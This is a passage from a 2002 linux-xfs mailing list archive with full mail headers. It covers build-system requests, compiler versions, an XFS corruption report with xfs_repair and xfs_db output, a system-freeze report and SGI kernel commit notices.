SGI - i.e. the default target is to build all RPMs, because that's what the build system wants. There probably are some things in the subdirs that could be cleaned up, but it's just not very high on the priority list, I'm afraid. -Eric On Mon, 19 Aug 2002, Jeffrey Hundstad wrote: > Hello, > > First, I'd like to say thanks to the developers for making a great > product. It's nice to have a truly great file-system available for > linux. > > Now for the meat ;-) > > I've had very little problems trying to make the cmd utilities from > source... but when I try to make the utilities with options > (ie. --prefix or --static) the options get lost in the makefiles. > > Over the last few months I've been successful at going into each of > the subdirectories in the cmd tree (ie. xfsdump xfsprogs etc.) and > modifying the Makefile near the ./configure line and putting > --prefix=/otherdir. > > I then have to go to each program that I want to make statically > linked, rm it then run make. I grab the line that linked the file and > place a -static before the "-o". > > There is also a Makefile belief that the linux source tree, linux, > lives at the same level as cmd. While a simple symlink seems to make > it happy there'd seem to be a better way. > > So... here's where the request part starts: > > It'd be a lot of fun do the following from a command line at the root > of the cmd directory: > > autoconf > > ./configure --kernel-source=/home/me/src/linux-2.4.19-xfs --static-binaries --prefix=/myowntree --with-xfsdump --with-aclsupport --with-xfsprogs --without-rpmpackaging > > make > > make install > > > I'm not at a level where I can really do this work myself. I'm just > learning how the configure stuff works. ...But if anyone else is > thinking about a build rewrite these would make nice features. > > -- > jeffrey hundstad > > > From owner-linux-xfs@oss.sgi.com Tue Aug 20 05:39:31 2002 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id g7KCdVEC025691 for ; Tue, 20 Aug 2002 05:39:31 -0700 Received: (from majordomo@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id g7KCdVjJ025690 for linux-xfs-outgoing; Tue, 20 Aug 2002 05:39:31 -0700 X-Authentication-Warning: oss.sgi.com: majordomo set sender to owner-linux-xfs@oss.sgi.com using -f Received: from mail.visp.co.nz (mx1.visp.co.nz [210.55.24.20]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7KCdKEC025660 for ; Tue, 20 Aug 2002 05:39:21 -0700 Received: from localhost.localdomain (210-54-175-12.visp.co.nz [210.54.175.12] (may be forged)) by mail.visp.co.nz (8.11.1/8.11.1) with ESMTP id g7KCfZw04475; Wed, 21 Aug 2002 00:41:40 +1200 (NZST) Subject: Re: Conflicting Types Between .h and .c files From: mdew To: Danny Cox Cc: Christoph Hellwig , XFS Mailing List In-Reply-To: <1029787095.8619.53.camel@wiley> References: <1029504550.1808.5.camel@wiley> <20020819194735.A32101@infradead.org> <1029783129.1147.37.camel@wiley> <20020819195641.A32415@infradead.org> <1029784293.1147.49.camel@wiley> <20020819204345.A1068@infradead.org> <1029787095.8619.53.camel@wiley> Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="=-Pt2Me4xCLaXmzfp5i3lu" X-Mailer: Ximian Evolution 1.0.8 Date: 21 Aug 2002 00:37:40 +1200 Message-Id: <1029847085.10320.7.camel@mdew> Mime-Version: 1.0 X-Spam-Status: No, hits=-3.1 required=5.0 tests=IN_REP_TO,MAY_BE_FORGED version=2.20 X-Spam-Level: Sender: owner-linux-xfs@oss.sgi.com Precedence: bulk --=-Pt2Me4xCLaXmzfp5i3lu Content-Type: text/plain Content-Transfer-Encoding: quoted-printable On Tue, 2002-08-20 at 07:58, Danny Cox wrote: > Christoph, >=20 > On Mon, 2002-08-19 at 15:43, Christoph Hellwig wrote: > > But it does work with redhat's latest release compilers (7.1/7.2 errata= , 7.3). > > So please upgrade to those, older compilers are known to produce buggy = code > > in combination with XFS anyway. >=20 > From my system, "rpm -qa | grep gcc" produces: >=20 > gcc-2.96-108.7.2 >=20 > granted, Eric says his is gcc-2.96-110.*, but I'm as uptodate as I know > how to be. whats stopping you installing gcc 3.1.1 ? (or if you're keen 3.2)=20 --=20 ph33r! Linux mdew 2.4.19-xfs-rmap13c-preemptive #2 Sat Aug 10 02:18:14 NZST 2002 i686 unknown unknown GNU/Linux GPG Key: http://mdew.orcon.net.nz/gpg --=-Pt2Me4xCLaXmzfp5i3lu Content-Type: application/pgp-signature; name=signature.asc Content-Description: This is a digitally signed message part -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.7 (GNU/Linux) iD8DBQA9YjgUH5J/xul0J+4RAonhAJ40gNtzCVBKMtxbMTHq4lDsbNcJqgCcCmqH wJ8V5bxfgiKooQAr+iLKI0w= =BlII -----END PGP SIGNATURE----- --=-Pt2Me4xCLaXmzfp5i3lu-- From owner-linux-xfs@oss.sgi.com Tue Aug 20 05:45:46 2002 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id g7KCjkEC025972 for ; Tue, 20 Aug 2002 05:45:46 -0700 Received: (from majordomo@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id g7KCjkM2025971 for linux-xfs-outgoing; Tue, 20 Aug 2002 05:45:46 -0700 X-Authentication-Warning: oss.sgi.com: majordomo set sender to owner-linux-xfs@oss.sgi.com using -f Received: from chimta03.algx.net (chimta03.algx.net [216.99.233.78]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7KCijEC025901 for ; Tue, 20 Aug 2002 05:44:46 -0700 Received: from wiley.ceo.com (ip66-2-81-26.z81-2-66.customer.algx.net [66.2.81.26]) by chimmx03.algx.net (iPlanet Messaging Server 5.1 (built May 7 2001)) with ESMTP id <0H1500APF7BSI2@chimmx03.algx.net> for linux-xfs@oss.sgi.com; Tue, 20 Aug 2002 07:43:05 -0500 (CDT) Date: Tue, 20 Aug 2002 08:43:04 -0400 From: Danny Cox Subject: XFS Shutdown, Can't Repair To: XFS Mailing List Message-id: <1029847385.1648.2.camel@wiley> MIME-version: 1.0 X-Mailer: Ximian Evolution 1.0.8 Content-type: multipart/mixed; boundary="Boundary_(ID_YoB8eMxYf7d6yvBLFCvJxQ)" X-Spam-Status: No, hits=0.0 required=5.0 tests= version=2.20 X-Spam-Level: Sender: owner-linux-xfs@oss.sgi.com Precedence: bulk --Boundary_(ID_YoB8eMxYf7d6yvBLFCvJxQ) Content-type: text/plain Content-transfer-encoding: 7BIT All, We were copying via NFS, when XFS shutdown due to an internal corruption error. Upon the xfs_repair attempt, it finds a corrupt inode, and exits. How can I clear this inode, so that I can get the rest of the filesystem back? xfs_repair output and xfs_db print of the inode in question attached.... Thanks! -- kernel, n.: A part of an operating system that preserves the medieval traditions of sorcery and black art. Danny --Boundary_(ID_YoB8eMxYf7d6yvBLFCvJxQ) Content-type: text/plain; name=typescript; charset=ISO-8859-1 Content-transfer-encoding: 7BIT Content-disposition: attachment; filename=typescript Script started on Tue Aug 20 08:37:20 2002 danny@wiley:danny$ ssh admin@landfill admin@landfill's password: Last login: Tue Aug 20 08:24:47 2002 from 192.168.10.70 sh-2.04$ su - Password: sh-2.04# xfs_repair /dev/volgr0/lvol0 xfs_repair: warning - cannot set blocksize on block device /dev/volgr0/lvol0: Invalid argument Phase 1 - find and verify superblock... Phase 2 - using internal log - zero log... - scan filesystem freespace and inode maps... - found root inode chunk Phase 3 - for each AG... - scan and clear agi unlinked lists... - process known inodes and perform inode discovery... - agno = 0 - agno = 1 - agno = 2 - agno = 3 - agno = 4 - agno = 5 - agno = 6 - agno = 7 - agno = 8 - agno = 9 - agno = 10 - agno = 11 - agno = 12 - agno = 13 - agno = 14 - agno = 15 - agno = 16 - agno = 17 - agno = 18 - agno = 19 - agno = 20 - agno = 21 - agno = 22 - agno = 23 - agno = 24 - agno = 25 - agno = 26 - agno = 27 - agno = 28 - agno = 29 - agno = 30 - agno = 31 - agno = 32 - agno = 33 - agno = 34 entry contains illegal character in shortform attribute name entry contains illegal character in shortform attribute name entry contains illegal character in shortform attribute name - agno = 35 - agno = 36 - agno = 37 - agno = 38 - agno = 39 no .. entry for directory 163577978 - agno = 40 - agno = 41 no .. entry for directory 171966536 no .. entry for directory 171966558 no .. entry for directory 172202100 - agno = 42 - agno = 43 - agno = 44 no .. entry for directory 184549481 no .. entry for directory 184549842 no .. entry for directory 184551560 no .. entry for directory 184551568 no .. entry for directory 184551591 no .. entry for directory 184719177 no .. entry for directory 184719225 no .. entry for directory 184733037 - agno = 45 - agno = 46 - agno = 47 - agno = 48 - agno = 49 no .. entry for directory 205520964 no .. entry for directory 205532739 - agno = 50 - agno = 51 no .. entry for directory 213911410 no .. entry for directory 213911423 no .. entry for directory 213914764 no .. entry for directory 213914791 no .. entry for directory 214084290 - agno = 52 - agno = 53 - agno = 54 - agno = 55 - agno = 56 - agno = 57 - agno = 58 - agno = 59 - agno = 60 - agno = 61 - agno = 62 - agno = 63 - agno = 64 - agno = 65 - agno = 66 - agno = 67 - agno = 68 - agno = 69 - agno = 70 - process newly discovered inodes... Phase 4 - check for duplicate blocks... - setting up duplicate extent list... - clear lost+found (if it exists) ... - clearing existing "lost+found" inode - deleting existing "lost+found" entry - check for inodes claiming duplicate blocks... - agno = 0 - agno = 1 - agno = 2 - agno = 3 - agno = 4 - agno = 5 - agno = 6 - agno = 7 - agno = 8 - agno = 9 - agno = 10 - agno = 11 - agno = 12 - agno = 13 - agno = 14 - agno = 15 - agno = 16 - agno = 17 - agno = 18 - agno = 19 - agno = 20 - agno = 21 - agno = 22 - agno = 23 - agno = 24 - agno = 25 - agno = 26 - agno = 27 - agno = 28 - agno = 29 - agno = 30 - agno = 31 - agno = 32 - agno = 33 - agno = 34 - agno = 35 - agno = 36 - agno = 37 - agno = 38 - agno = 39 no .. entry for directory 163577978 - agno = 40 - agno = 41 no .. entry for directory 171966536 no .. entry for directory 171966558 no .. entry for directory 172202100 - agno = 42 - agno = 43 - agno = 44 no .. entry for directory 184549481 no .. entry for directory 184549842 no .. entry for directory 184551560 no .. entry for directory 184551568 no .. entry for directory 184551591 no .. entry for directory 184719177 no .. entry for directory 184719225 no .. entry for directory 184733037 - agno = 45 - agno = 46 - agno = 47 - agno = 48 - agno = 49 no .. entry for directory 205520964 no .. entry for directory 205532739 - agno = 50 - agno = 51 no .. entry for directory 213911410 no .. entry for directory 213911423 no .. entry for directory 213914764 no .. entry for directory 213914791 no .. entry for directory 214084290 - agno = 52 - agno = 53 - agno = 54 - agno = 55 - agno = 56 - agno = 57 - agno = 58 - agno = 59 - agno = 60 - agno = 61 - agno = 62 - agno = 63 - agno = 64 - agno = 65 - agno = 66 - agno = 67 - agno = 68 - agno = 69 - agno = 70 Phase 5 - rebuild AG headers and trees... - reset superblock... Phase 6 - check inode connectivity... - resetting contents of realtime bitmap and summary inodes - ensuring existence of lost+found directory - traversing filesystem starting at / ... - traversal finished ... - traversing all unattached subtrees ... - traversals finished ... - moving disconnected inodes to lost+found ... disconnected inode 64, moving to lost+found disconnected inode 65, moving to lost+found disconnected inode 66, moving to lost+found disconnected inode 67, moving to lost+found disconnected inode 68, moving to lost+found disconnected inode 69, moving to lost+found disconnected inode 70, moving to lost+found disconnected inode 71, moving to lost+found disconnected inode 72, moving to lost+found disconnected inode 73, moving to lost+found disconnected inode 74, moving to lost+found disconnected inode 75, moving to lost+found disconnected inode 76, moving to lost+found disconnected inode 77, moving to lost+found disconnected inode 78, moving to lost+found disconnected inode 79, moving to lost+found disconnected inode 80, moving to lost+found disconnected inode 81, moving to lost+found disconnected inode 82, moving to lost+found disconnected inode 83, moving to lost+found disconnected inode 84, moving to lost+found disconnected inode 85, moving to lost+found disconnected inode 86, moving to lost+found disconnected inode 87, moving to lost+found disconnected inode 88, moving to lost+found disconnected dir inode 89, moving to lost+found disconnected inode 90, moving to lost+found disconnected inode 91, moving to lost+found disconnected inode 92, moving to lost+found disconnected inode 93, moving to lost+found disconnected inode 94, moving to lost+found disconnected dir inode 95, moving to lost+found disconnected dir inode 142606400, moving to lost+found disconnected dir inode 142606408, moving to lost+found disconnected dir inode 142606414, moving to lost+found disconnected dir inode 142606424, moving to lost+found disconnected inode 142606430, moving to lost+found disconnected inode 142606431, moving to lost+found disconnected inode 142606432, moving to lost+found disconnected inode 142606433, moving to lost+found disconnected inode 142606434, moving to lost+found disconnected inode 142606435, moving to lost+found disconnected inode 142606436, moving to lost+found disconnected inode 142606437, moving to lost+found disconnected inode 142606438, moving to lost+found disconnected inode 142606439, moving to lost+found disconnected inode 142606440, moving to lost+found disconnected dir inode 142606441, moving to lost+found disconnected dir inode 142606446, moving to lost+found disconnected dir inode 142606450, moving to lost+found disconnected inode 142606459, moving to lost+found disconnected inode 142606460, moving to lost+found disconnected inode 142606461, moving to lost+found disconnected inode 142606462, moving to lost+found disconnected inode 142606463, moving to lost+found disconnected dir inode 142611840, moving to lost+found disconnected dir inode 142611843, moving to lost+found disconnected inode 142750272, moving to lost+found disconnected inode 142750273, moving to lost+found disconnected inode 142750274, moving to lost+found disconnected dir inode 142750275, moving to lost+found disconnected dir inode 142750283, moving to lost+found disconnected dir inode 142750285, moving to lost+found disconnected inode 142750293, moving to lost+found disconnected inode 142750294, moving to lost+found disconnected inode 142750295, moving to lost+found disconnected inode 142750296, moving to lost+found disconnected inode 142750297, moving to lost+found disconnected inode 142750298, moving to lost+found disconnected inode 142750299, moving to lost+found disconnected inode 142750300, moving to lost+found disconnected inode 142750301, moving to lost+found disconnected inode 142750302, moving to lost+found disconnected inode 142750303, moving to lost+found disconnected inode 142750304, moving to lost+found disconnected inode 142750305, moving to lost+found disconnected inode 142750306, moving to lost+found disconnected inode 142750307, moving to lost+found disconnected inode 142750308, moving to lost+found disconnected inode 142750309, moving to lost+found disconnected inode 142750310, moving to lost+found disconnected inode 142750311, moving to lost+found disconnected inode 142750312, moving to lost+found disconnected inode 142750313, moving to lost+found disconnected inode 142750314, moving to lost+found disconnected inode 142750315, moving to lost+found disconnected inode 142750316, moving to lost+found disconnected inode 142750317, moving to lost+found disconnected inode 142750318, moving to lost+found disconnected inode 142750319, moving to lost+found disconnected inode 142750320, moving to lost+found disconnected inode 142750321, moving to lost+found disconnected inode 142750322, moving to lost+found disconnected inode 142750323, moving to lost+found disconnected inode 142750324, moving to lost+found disconnected inode 142750325, moving to lost+found disconnected inode 142750326, moving to lost+found disconnected inode 142750327, moving to lost+found disconnected inode 142750328, moving to lost+found disconnected inode 142750329, moving to lost+found disconnected inode 142750330, moving to lost+found disconnected inode 142750331, moving to lost+found disconnected inode 142750332, moving to lost+found disconnected inode 142750333, moving to lost+found disconnected inode 142750334, moving to lost+found disconnected inode 142750335, moving to lost+found disconnected inode 142760832, moving to lost+found disconnected inode 142760833, moving to lost+found disconnected inode 142760834, moving to lost+found disconnected inode 142760835, moving to lost+found disconnected inode 142760836, moving to lost+found disconnected inode 142760837, moving to lost+found disconnected inode 142760838, moving to lost+found disconnected inode 142760839, moving to lost+found disconnected inode 142760840, moving to lost+found disconnected inode 142760841, moving to lost+found disconnected inode 142760842, moving to lost+found disconnected inode 142760843, moving to lost+found disconnected inode 142760844, moving to lost+found disconnected inode 142760845, moving to lost+found disconnected inode 142760846, moving to lost+found disconnected inode 142760847, moving to lost+found disconnected inode 142760849, moving to lost+found disconnected inode 142760853, moving to lost+found disconnected inode 142760857, moving to lost+found disconnected inode 142760858, moving to lost+found disconnected inode 142760859, moving to lost+found disconnected inode 142760860, moving to lost+found disconnected inode 142760864, moving to lost+found disconnected inode 142760865, moving to lost+found disconnected inode 142760866, moving to lost+found disconnected inode 142760867, moving to lost+found disconnected inode 142760868, moving to lost+found disconnected inode 142760869, moving to lost+found disconnected inode 142760870, moving to lost+found disconnected inode 142760871, moving to lost+found disconnected inode 142760872, moving to lost+found disconnected inode 142760873, moving to lost+found disconnected inode 142760874, moving to lost+found disconnected inode 142760875, moving to lost+found disconnected inode 142760876, moving to lost+found disconnected inode 142760877, moving to lost+found disconnected inode 142760878, moving to lost+found disconnected inode 142760879, moving to lost+found disconnected inode 142760880, moving to lost+found disconnected inode 142760881, moving to lost+found disconnected inode 142760882, moving to lost+found disconnected inode 142760884, moving to lost+found disconnected inode 142760885, moving to lost+found disconnected inode 142760886, moving to lost+found disconnected inode 142760888, moving to lost+found disconnected inode 142760889, moving to lost+found disconnected inode 142760890, moving to lost+found disconnected inode 142760891, moving to lost+found disconnected inode 142760892, moving to lost+found disconnected inode 142760972, moving to lost+found corrupt inode 142760972 (btree). Unmount and run xfs_repair. fatal error -- 990 - couldn't iget disconnected inode sh-2.04# xfs_db /dev/volgr0/lvol0 xfs_db: inode 142760972 xfs_db: print core.magic = 0x494e core.mode = 0100644 core.version = 1 core.format = 3 (btree) core.nlinkv1 = 1 core.uid = 33624864 core.gid = 33624864 core.atime.sec = Sat Aug 30 21:00:18 2003 core.atime.nsec = 033619968 core.mtime.sec = Wed Feb 12 20:28:16 2003 core.mtime.nsec = 033619968 core.ctime.sec = Sat Aug 30 21:16:42 2003 core.ctime.nsec = 654454896 core.size = 144396663086216274 core.nblocks = 0 core.extsize = 0 core.nextents = 0 core.naextents = 0 core.forkoff = 0 core.aformat = 2 (extents) core.dmevmask = 0x2010000 core.dmstate = 513 core.newrtbm = 0 core.prealloc = 0 core.realtime = 0 core.gen = 33619968 next_unlinked = null u.bmbt.level = 513 u.bmbt.numrecs = 0 xfs_db: exit command exit not found xfs_db: sh-2.04# logout sh-2.04$ logout Connection to landfill closed. danny@wiley:danny$ Script done on Tue Aug 20 08:39:13 2002 --Boundary_(ID_YoB8eMxYf7d6yvBLFCvJxQ)-- From owner-linux-xfs@oss.sgi.com Tue Aug 20 05:52:34 2002 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id g7KCqYEC026226 for ; Tue, 20 Aug 2002 05:52:34 -0700 Received: (from majordomo@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id g7KCqY8S026225 for linux-xfs-outgoing; Tue, 20 Aug 2002 05:52:34 -0700 X-Authentication-Warning: oss.sgi.com: majordomo set sender to owner-linux-xfs@oss.sgi.com using -f Received: from extrly.fac.com (extrly.fac.com [64.239.86.39]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7KCqUEC026197 for ; Tue, 20 Aug 2002 05:52:30 -0700 Received: from albexsvr.fac.com (albexsvr.fac.com [12.152.246.67]) by extrly.fac.com (8.11.6/8.11.6) with ESMTP id g7KCtMq19093 for ; Tue, 20 Aug 2002 08:55:22 -0400 Received: from romulus.fac.com (external.fac.com [12.152.246.9]) by albexsvr.fac.com (8.12.2/8.12.1) with ESMTP id g7KCtHbR031837 for ; Tue, 20 Aug 2002 08:55:17 -0400 Received: from albsmtp01.fac.com (albsmtp01.fac.com [10.2.5.41]) by romulus.fac.com (8.12.5/8.12.5) with ESMTP id g7KCtGof004071 for ; Tue, 20 Aug 2002 08:55:17 -0400 (EDT) Subject: Lotus Domino on XFS/Linux? To: linux-xfs@oss.sgi.com X-Mailer: Lotus Notes Release 5.0.6a January 17, 2001 Message-ID: From: "Jameel Akari" Date: Tue, 20 Aug 2002 08:55:32 -0400 X-MIMETrack: Serialize by Router on ALBSMTP01/First Albany(Release 5.0.8 |June 18, 2001) at 08/20/2002 08:55:15 AM MIME-Version: 1.0 Content-type: text/plain; charset=us-ascii X-MailScanner: Found to be clean X-Spam-Status: No, hits=-0.1 required=5.0 tests=SUBJ_ENDS_IN_Q_MARK version=2.20 X-Spam-Level: Sender: owner-linux-xfs@oss.sgi.com Precedence: bulk Anyone here running Lotus Domino servers on Linux XFS? Good/bad/indifferent? Our Lotus admin is getting thoroughly sick and tired of Windoze blowing up on him, so we endeavor to bring him back from the dark side... ;) -- Jameel Akari UNIX Admin First Albany Corp From owner-linux-xfs@oss.sgi.com Tue Aug 20 08:39:29 2002 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id g7KFdTEC030875 for ; Tue, 20 Aug 2002 08:39:29 -0700 Received: (from majordomo@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id g7KFdTCw030874 for linux-xfs-outgoing; Tue, 20 Aug 2002 08:39:29 -0700 X-Authentication-Warning: oss.sgi.com: majordomo set sender to owner-linux-xfs@oss.sgi.com using -f Received: from sgi.com (sgi-too.SGI.COM [204.94.211.39]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7KFdEEC030841 for ; Tue, 20 Aug 2002 08:39:14 -0700 Received: from gannet.scg.man.ac.uk (gannet.scg.man.ac.uk [130.88.94.110]) by sgi.com (980327.SGI.8.8.8-aspam/980304.SGI-aspam: SGI does not authorize the use of its proprietary systems or networks for unsolicited or bulk email from the Internet.) via ESMTP id IAA05481 for ; Tue, 20 Aug 2002 08:42:57 -0700 (PDT) mail_from (rhowe@wiss.co.uk) Received: from os046.sta.man.ac.uk ([130.88.188.46] helo=doufu ident=mail) by gannet.scg.man.ac.uk with esmtp (Exim 2.05 #6) id 17hB0j-000PVu-00 for linux-xfs@oss.sgi.com; Tue, 20 Aug 2002 16:33:37 +0100 Received: from xiao.rsnet ([192.168.1.2] helo=xiao ident=mail) by doufu with esmtp (Exim 3.35 #1 (Debian)) id 17hAsq-00049L-00 for ; Tue, 20 Aug 2002 16:25:28 +0100 Received: from rhowe by xiao with local (Exim 3.35 #1 (Debian)) id 17hB0k-00015W-00 for ; Tue, 20 Aug 2002 16:33:38 +0100 Date: Tue, 20 Aug 2002 16:33:38 +0100 To: linux-xfs@oss.sgi.com Subject: System freezes with high kernel CPU usage Message-ID: <20020820153329.GA13136@xiao> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.4i From: Russell Howe X-Spam-Status: No, hits=0.0 required=5.0 tests= version=2.20 X-Spam-Level: Sender: owner-linux-xfs@oss.sgi.com Precedence: bulk Hi, XFS has been performing great for me so far on my desktop machine (a dual CPU system), although lately I've noticed some odd behaviour. The system will lock up for several seconds, respond for a split second, then lock up again for another 5-10 seconds or so, then again, this goes on for a minute or two. The system isn't under any load at the time, X is running, noatun open playing MP3s (although without the rest of KDE). Just light normal use. I was working on the Apache configuration and the above even happened as I was starting apache. I now have a terminal window that looks like this: # /etc/init.d/apache start Trying to enter anything into this window does nothing, no characters echoed, nothing. Moving the window off-screen and back on again causes the window to redraw itself, so I don't think the aterm process is locked. There is no trace of the /etc/init.d/apache script running in the ps output from what I can see. This has happened a few times lately, all with this kernel. In the past the system used to lock up solid and I just power-cycled it, blaming it on the motherboad (there are some tweaks you can make to the board to improve its stability). I also used to have the machine overclocked, although this is no longer the case (was trying to get to the bottom of the lockups). A screenshot of gkrellm shortly afterwards is here: http://rhowe.sfarc.net/gkrellm.png Admittedly, it's not exactly a scientific analysis but it gives an idea of what went on. The reason I thought it may be related to the XFS kernel is that the first time the machine unfreezes for a split second, there is HDD activity, and gkrellm shows drive activity too. This is a CVS checkout, of 2.4.19-rc1 from the XFS CVS tree, with ALSA 0.9 from Debian unstable patched into it, lirc and lm-sensors. The relevant part of the kernel log: Aug 20 15:40:46 xiao kernel: SysRq : Emergency Sync Aug 20 15:40:46 xiao kernel: SysRq : Emergency Sync Aug 20 15:40:46 xiao kernel: SysRq : HELP : loglevel0-8 reBoot tErm kIll saK showMem showPc unRaw Sync showTasks Unmount Aug 20 15:40:46 xiao last message repeated 5 times Aug 20 15:40:46 xiao kernel: SysRq : Emergency Sync Aug 20 15:40:46 xiao kernel: SysRq : HELP : loglevel0-8 reBoot tErm kIll saK showMem showPc unRaw Sync showTasks Unmount Aug 20 15:40:46 xiao last message repeated 3 times Aug 20 15:40:46 xiao kernel: SysRq : Emergency Sync Aug 20 15:40:46 xiao kernel: SysRq : Emergency Sync Aug 20 15:40:46 xiao kernel: SysRq : HELP : loglevel0-8 reBoot tErm kIll saK showMem showPc unRaw Sync showTasks Unmount Aug 20 15:40:46 xiao kernel: SysRq : Emergency Sync Aug 20 15:44:16 xiao kernel: Syncing device 03:01 ... OK Aug 20 15:44:16 xiao kernel: Syncing device 16:42 ... OK Aug 20 15:44:16 xiao kernel: Syncing device 16:43 ... OK Aug 20 15:44:16 xiao kernel: Syncing device 16:45 ... OK Aug 20 15:44:16 xiao kernel: Syncing device 16:01 ... OK Aug 20 15:44:16 xiao kernel: Done. (I tried SysRq-S to see if I could kick off some fs activity after seeing this loosen a lockup in someone else's case). I guess the system unfroze at 15:44:16. Also, I don't think I did 6 SysRq-S within the space of a second.. One of my filesystems is rather full... Filesystem Size Used Avail Use% Mounted on /dev/hda1 4.0G 2.6G 1.4G 65% / /dev/hdd2 4.9G 1.5G 3.5G 29% /usr/local /dev/hdd3 4.0G 969M 3.0G 25% /var /dev/hdd5 2.0G 1.3G 765M 62% /home /dev/hdc1 75G 75G 201M 100% /usr/local/media tmpfs 284M 0 284M 0% /dev/shm In case all this information is useless, what can I do to prepare for the next time this happens? I have KDB in the kernel, although it's currently disabled, since I keep hitting the Break key by accident. I'm thinking of removing the key from the keyboard :) -- Russell Howe | Why be just another cog in the machine, rhowe@wiss.co.uk | when you can be the spanner in the works? From owner-linux-xfs@oss.sgi.com Tue Aug 20 08:49:43 2002 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id g7KFngEC031224 for ; Tue, 20 Aug 2002 08:49:42 -0700 Received: (from majordomo@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id g7KFngbG031223 for linux-xfs-outgoing; Tue, 20 Aug 2002 08:49:42 -0700 X-Authentication-Warning: oss.sgi.com: majordomo set sender to owner-linux-xfs@oss.sgi.com using -f Received: from zeus-e8.americas.sgi.com ([198.149.7.250]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7KFnbEC031194 for ; Tue, 20 Aug 2002 08:49:38 -0700 Received: from daisy-e185.americas.sgi.com (daisy-e185.americas.sgi.com [128.162.185.214]) by zeus-e8.americas.sgi.com (SGI-8.9.3/americas-smart-nospam1.1) with ESMTP id KAA73982 for ; Tue, 20 Aug 2002 10:52:30 -0500 (CDT) Received: from stout.americas.sgi.com (stout.americas.sgi.com [128.162.187.5]) by daisy-e185.americas.sgi.com (SGI-8.9.3/SGI-server-1.8) with ESMTP id KAA23631 for ; Tue, 20 Aug 2002 10:52:30 -0500 (CDT) From: Eric Sandeen Received: by stout.americas.sgi.com (8.11.6/SGI-client-1.7) id g7KFpk616089; Tue, 20 Aug 2002 10:51:46 -0500 Message-Id: <200208201551.g7KFpk616089@stout.americas.sgi.com> Date: Tue, 20 Aug 2002 10:51:46 -0500 Subject: TAKE - Remove unused argument to pagebuf_lock_enable() X-Spam-Status: No, hits=1.0 required=5.0 tests=SUBJ_REMOVE,MISSING_HEADERS version=2.20 X-Spam-Level: * Sender: owner-linux-xfs@oss.sgi.com Precedence: bulk Steve pointed this one out. Date: Tue Aug 20 08:51:52 PDT 2002 Workarea: stout.americas.sgi.com:/localhome/src/sandeen/2.4.x-xfs/workarea-alwaysclean The following file(s) were checked into: bonnie.engr.sgi.com:/isms/slinx/2.4.x-xfs Modid: 2.4.x-xfs:slinx:125453a linux/fs/xfs/pagebuf/page_buf_locking.c - 1.28 linux/fs/xfs/pagebuf/page_buf.h - 1.38 - Remove unused super_block argument to pagebuf_lock_enable() From owner-linux-xfs@oss.sgi.com Tue Aug 20 09:00:41 2002 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id g7KG0fEC031689 for ; Tue, 20 Aug 2002 09:00:41 -0700 Received: (from majordomo@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id g7KG0feX031688 for linux-xfs-outgoing; Tue, 20 Aug 2002 09:00:41 -0700 X-Authentication-Warning: oss.sgi.com: majordomo set sender to owner-linux-xfs@oss.sgi.com using -f Received: from zeus-e8.americas.sgi.com ([198.149.7.250]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7KG0ZEC031660 for ; Tue, 20 Aug 2002 09:00:36 -0700 Received: from daisy-e185.americas.sgi.com (daisy-e185.americas.sgi.com [128.162.185.214]) by zeus-e8.americas.sgi.com (SGI-8.9.3/americas-smart-nospam1.1) with ESMTP id LAA74195 for ; Tue, 20 Aug 2002 11:03:28 -0500 (CDT) Received: from stout.americas.sgi.com (stout.americas.sgi.com [128.162.187.5]) by daisy-e185.americas.sgi.com (SGI-8.9.3/SGI-server-1.8) with ESMTP id LAA92420 for ; Tue, 20 Aug 2002 11:03:28 -0500 (CDT) From: Eric Sandeen Received: by stout.americas.sgi.com (8.11.6/SGI-client-1.7) id g7KG2ib16206; Tue, 20 Aug 2002 11:02:44 -0500 Message-Id: <200208201602.g7KG2ib16206@stout.americas.sgi.com> Date: Tue, 20 Aug 2002 11:02:44 -0500 Subject: TAKE - Fix recovery unaligned access on ia64 X-Spam-Status: No, hits=0.9 required=5.0 tests=MISSING_HEADERS version=2.20 X-Spam-Level: Sender: owner-linux-xfs@oss.sgi.com Precedence: bulk The first argument to find_next_zero_bit needs to be aligned, but this is coming from the xfs_buf_log_format_t on-disk struct, which can't be padded or otherwise modified w/o breaking on-disk compatibility... so create a temporary, aligned variable, copy over the bitmap, and send that to find_next_zero_bit This only happens in recovery, so it's ugly but not too bad. Date: Tue Aug 20 09:02:43 PDT 2002 Workarea: stout.americas.sgi.com:/localhome/src/sandeen/2.4.x-xfs/workarea-alwaysclean The following file(s) were checked into: bonnie.engr.sgi.com:/isms/slinx/2.4.x-xfs Modid: 2.4.x-xfs:slinx:125454a linux/fs/xfs/xfs_bit.c - 1.19 - Fix recovery unaligned access on ia64 From owner-linux-xfs@oss.sgi.com Tue Aug 20 10:47:49 2002 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id g7KHlnEC003924 for ; Tue, 20 Aug 2002 10:47:49 -0700 Received: (from majordomo@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id g7KHlnS1003923 for linux-xfs-outgoing; Tue, 20 Aug 2002 10:47:49 -0700 X-Authentication-Warning: 